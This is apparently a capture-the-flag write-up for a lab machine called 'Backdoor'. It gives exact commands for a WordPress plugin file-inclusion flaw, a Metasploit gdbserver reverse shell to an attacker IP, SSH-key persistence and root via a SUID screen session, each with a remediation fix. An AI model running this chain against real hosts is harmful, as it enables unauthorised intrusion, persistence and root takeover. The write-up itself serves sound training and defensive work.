Backdoor
Summary
Target backdoor ($TARGET) was fully compromised through a two-stage attack chain. An unauthenticated local file inclusion flaw in the WordPress ebook-download plugin (v1.1) let me read arbitrary files on disk — including Linux /proc entries that exposed a remote debugging service (gdbserver) silently listening on port 1337. Metasploit's gdbserver exploit module injected a reverse shell payload through the debugger protocol, landing a shell as the system user and capturing the user flag.
Privilege escalation required only a single command: the GNU screen binary on the host carried the SUID root bit, and root had left an active named screen session running. Any local user could attach to that session instantly, granting a root terminal and the final flag.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"Attack path — how the box was taken
Exact commands 1
Full TCP scan with version detection and default scripts to enumerate all open ports.
$ nmap -sV -sC -p- --min-rate 5000 -T4 $TARGETExact commands 2
Enumerate installed WordPress plugins and their versions; identifies ebook-download v1.1.
$ wpscan --url http://$TARGET --enumerate p --plugins-detection aggressiveConfirm unauthenticated LFI by reading /etc/passwd.
$ curl -s "http://$TARGET/wp-content/plugins/ebook-download/filedownload.php?ebookdownloadurl=/etc/passwd"FixRemove the ebook-download WordPress plugin immediatelyCritical
Exact commands 2
Iterate /proc entries; null bytes between arguments are converted to spaces for readability.
$ for pid in $(seq 1 2000); do out=$(curl -s "http://$TARGET/wp-content/plugins/ebook-download/filedownload.php?ebookdownloadurl=/proc/$pid/cmdline" | tr '\0' ' '); [ -n "$out" ] && echo "$pid: $out"; doneRead the confirmed gdbserver process command line directly once the PID is known.
$ curl -s "http://$TARGET/wp-content/plugins/ebook-download/filedownload.php?ebookdownloadurl=/proc/1845/cmdline" | tr '\0' ' 'Exact commands 2
Replace $ATTACKER_IP with the HTB VPN interface IP (tun0). The linux/x64 payload is required for this 64-bit Ubuntu target.
$ msfconsole -q -x "use exploit/multi/gdb/gdb_server_exec; set RHOSTS $TARGET; set RPORT 1337; set PAYLOAD linux/x64/shell_reverse_tcp; set LHOST $ATTACKER_IP; set LPORT 4444; run"Run inside the Metasploit session to read the user flag. Returned value: <user.txt>
$ cat /home/user/user.txtFixRemove gdbserver from production systems and block all remote debugging ports at the firewallCritical
Exact commands 3
Run on the attack machine — generates the key pair at /tmp/backdoor_user_key and /tmp/backdoor_user_key.pub.
$ ssh-keygen -t rsa -b 2048 -f /tmp/backdoor_user_key -N ''Run inside the Metasploit shell on the target — paste the public key content in place of the placeholder.
$ mkdir -p /home/user/.ssh && chmod 700 /home/user/.ssh && echo '<contents of /tmp/backdoor_user_key.pub>' >> /home/user/.ssh/authorized_keys && chmod 600 /home/user/.ssh/authorized_keysConnect from the attack machine using the planted key for a stable interactive session.
$ ssh -tt -i /tmp/backdoor_user_key -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null user@$TARGETExact commands 3
From the user SSH session — enumerate all SUID binaries; confirms /usr/bin/screen is SUID root.
$ find / -perm -4000 -type f 2>/dev/nullList active screen sessions; should show root's running session labelled something like '1234.root/root'.
$ screen -listReturned value: <root.txt>
$ set -o pipefail; { sleep 1; printf 'whoami\ncat /root/root.txt\nexit\n'; sleep 1; } | timeout -k 3 12 ssh -tt -i /tmp/backdoor_user_key -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null user@$TARGET 'export TERM=xterm; screen -x root/root'FixRemove the SUID bit from GNU screen and prohibit unattended root terminal sessionsHigh
Attack patterns used
The transferable techniques behind this compromise.
CMS Exploitation (WordPress/Joomla/Drupal)WebT1190
What it is
Content management systems and their plugins/themes are a large attack surface: known-vulnerable versions, exposed admin panels, weak credentials, and insecure plugins lead to authenticated or unauthenticated RCE. wpscan enumerates WordPress versions/plugins/users; Joomla and Drupal have their own well-known RCE chains (e.g. Drupalgeddon).
Why it works
CMS deployments lag on patching and accumulate third-party plugins of varying quality, while admin interfaces are exposed. Remediate by patching core+plugins promptly, removing unused extensions, restricting admin access, and enforcing strong auth.
Read more
Local File InclusionWebT1190
What it is
A web app builds a file path from user input (?page=../../etc/passwd), letting an unauthorised user read arbitrary files or, via log poisoning, PHP wrappers (php://filter, data://), or session files, achieve code execution. LFI commonly leaks credentials, SSH keys, and source code that feed the next step.
Why it works
The app trusts a path parameter and fails to constrain it to an allow-list. Remediate by mapping identifiers to fixed file paths, disabling dangerous PHP wrappers, and canonicalizing/validating paths.
Read more
Public Exploit / Metasploit ModuleService RCET1210
What it is
Many footholds come from matching a fingerprinted service/version to a public exploit and firing a vetted Metasploit module. The disciplined flow is: confirm the version, run the module's check to validate exploitability, set LHOST/LPORT, then exploit — yielding a Meterpreter/command session in the service's context.
Why it works
Unpatched, internet-known vulnerable software is the root cause; the module just operationalizes published research. Remediate with timely patching, version hygiene, and reducing exposed service surface.
Read more
SUID/SGID Binary AbuseLinux · Privilege EscalationT1548.001
What it is
Files with the SUID bit run with the file owner's privileges (often root) regardless of who launches them. Finding an unusual SUID binary (find / -perm -4000 2>/dev/null) that has a shell-escape or file-read primitive — per GTFOBins — yields code execution as root.
Why it works
SUID is needed for a few system binaries (passwd, ping) but custom or misconfigured SUID files are a classic escalation. Remediate by minimizing SUID binaries, dropping privileges in custom tools, and monitoring the SUID inventory for drift.
Read more
Exposed services
| 22/tcp | ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) |
| 80/tcp | http Apache httpd 2.4.41 ((Ubuntu)) |
| 1337/tcp | waste? |
Techniques used
New to these ideas? Learn the concepts in Hack & Learn.